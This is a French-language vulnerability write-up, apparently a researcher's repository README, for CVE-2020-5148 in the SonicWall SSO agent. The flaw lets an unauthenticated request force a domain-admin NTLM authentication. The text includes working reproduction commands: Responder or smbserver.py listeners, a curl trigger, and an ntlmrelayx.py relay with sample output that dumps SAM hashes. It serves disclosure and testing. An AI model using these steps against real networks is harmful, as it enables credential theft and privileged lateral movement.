CVE-2020-5148

Authentification forcée dans l'agent SSO SonicWall UTM

L'agent SSO SonicWall identifie l'utilisateur derrière une adresse IP donnée en sondant ce poste de travail avec NetAPI (par défaut) ou WMI. Il ne valide pas le poste de travail avant d'initier l'authentification NTLM et continue d'interroger la même adresse pendant toute la durée de la session.

Étant donné que le service de l'agent SSO nécessite des droits d'administration sur chaque poste de travail et serveur qu'il sonde, il est déployé en pratique en tant qu'administrateur de domaine. Par conséquent, toute partie non authentifiée qui peut router le trafic web à travers l'appliance UTM peut amener un compte administrateur de domaine à s'authentifier sur un hôte de son choix, puis capturer ou relayer cette authentification.

Publié sous la référence CVE-2020-5148, avis du fournisseur SNWLID-2021-0003.

Découvert et signalé par Sedric Louissaint de Show Up Show Out Security.

---

Résumé

CVE	CVE-2020-5148
Produit	Appliance UTM SonicWall et agent SSO / Directory Services Connector
Affecté	Agent SSO 4.1.10.0 ; Directory Services Connector 4.1.17 et versions antérieures
Corrigé dans	Le NVD mentionne le correctif dans Directory Services Connector 4.1.19 (voir note ci-dessous)
Faiblesse	CWE-287 : Authentification incorrecte
CVSS 3.1 (NVD)	8.2 Haut CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVSS (chercheur)	8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Publié	2021-03-05
Testé sur	Microsoft Windows Server 2012 R2 Standard
Authentification requise	Aucune
Avis du fournisseur	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003

Description du NVD :

La configuration par défaut de l'agent SSO SonicWall utilise NetAPI pour sonder les adresses IP associées dans le réseau ; cette méthode de sondage client permet à un attaquant potentiel de capturer le hash du mot de passe.

Détail technique

Le flux prévu et les deux étapes qu'il omet

1. Le trafic d'un utilisateur atteint l'appliance UTM SonicWALL.
2. L'appliance envoie l'IP de l'utilisateur à l'agent SSO sous forme de « User Name Request ». Les paquets bloqués sont mis en attente.
3. L'agent SSO répond avec le nom d'utilisateur connecté sur ce poste de travail.
4. LDAP ou la base de données locale résout l'appartenance aux groupes.
5. La politique est appliquée et le trafic mis en attente est libéré.
6. L'appliance continue d'interroger l'agent SSO pour confirmer que le même utilisateur est toujours connecté.

Les annotations indiquent ce que le schéma du fournisseur omet :

• Étape 2,5 L'agent SSO doit s'authentifier auprès du poste de travail avant de pouvoir l'interroger. Il s'agit d'une négociation NTLM sortante, vers une adresse fournie par celui qui a généré le trafic, sans validation préalable de cette adresse.
• Étape 5,5 L'agent répète cette authentification à chaque interrogation, pendant toute la durée de la session. L'intervalle d'interrogation est configurable dans l'interface graphique.

Contexte de privilège

Le service de l'agent SSO nécessite des droits d'administrateur sur tous les postes de travail et serveurs associés pour effectuer l'interrogation. Dans pratiquement tous les déploiements, cela signifie que le compte de service est administrateur de domaine.

La qualification transmise à un hôte non validé est donc le compte le plus privilégié de l'annuaire.

Le déclencher

Il n'y a pas de code d'exploitation. Toute requête web sortante provenant d'un segment géré par l'appliance est suffisante :

curl sonicwall.com

L'URL est sans importance et la requête n'a pas besoin de réussir. L'appliance observe le trafic provenant d'une IP non reconnue, demande à l'agent SSO d'identifier l'utilisateur sur cette adresse, et l'agent s'authentifie auprès de cette IP.

Capture de l'identifiant

Avec Responder ou smbserver.py à l'écoute, l'authentification NTLMv2 de l'agent arrive sans sollicitation, et continue d'arriver en raison du comportement d'interrogation :

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<compte privilégié>
[SMB] NTLMv2-SSP Hash     : ...

Relais

Le craquage est facultatif. Lorsque la signature SMB n'est pas appliquée, l'authentification peut être relayée en direct vers un autre hôte, qui traite alors la connexion comme le compte privilégié qu'elle semble être :

ntlmrelayx.py -t <cible> -smb2support -of <sortie>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<utilisateur> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

L'authentification est déclenchée par une requête web non authentifiée et consommée sur une machine totalement différente, ce qui constitue le contournement complet de la liste de contrôle d'accès décrit dans l'avis.

Reproduction

Dans un laboratoire que vous possédez ou que vous êtes autorisé à tester, avec une appliance UTM configurée pour le SSO et l'agent SSO utilisant la méthode de sondage client NetAPI par défaut :

1. Démarrez un écouteur sur un hôte situé dans un segment géré par l'appliance :

   sudo responder -I <interface>
   # ou
   sudo smbserver.py c . -smb2support
   

2. Depuis ce même hôte, générez tout trafic web sortant via l'appliance :

   curl sonicwall.com
   

3. Une configuration vulnérable produit une authentification NTLMv2 entrante depuis le compte de service de l'agent SSO en quelques secondes. Attendez, et cela se répète, en raison de l'interrogation.
4. Optionnellement, relayez plutôt que de capturer, vers un hôte dont la signature SMB est désactivée :

   ntlmrelayx.py -t smb://<second-hôte> -smb2support -of relayed
   

Séquence complète des commandes dans poc/repro.sh.

Contenu du dépôt

poc/
  repro.sh       Commandes d'écoute, de déclenchement et de relais, commentées, sans danger à lire en premier
  notes.md       Pourquoi NetAPI déclenche ceci, ce que change WMI, conseils de détection
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Les noms d'utilisateur, les hashes et les adresses internes dans les captures sont masqués ou proviennent du laboratoire d'origine.

Remédiation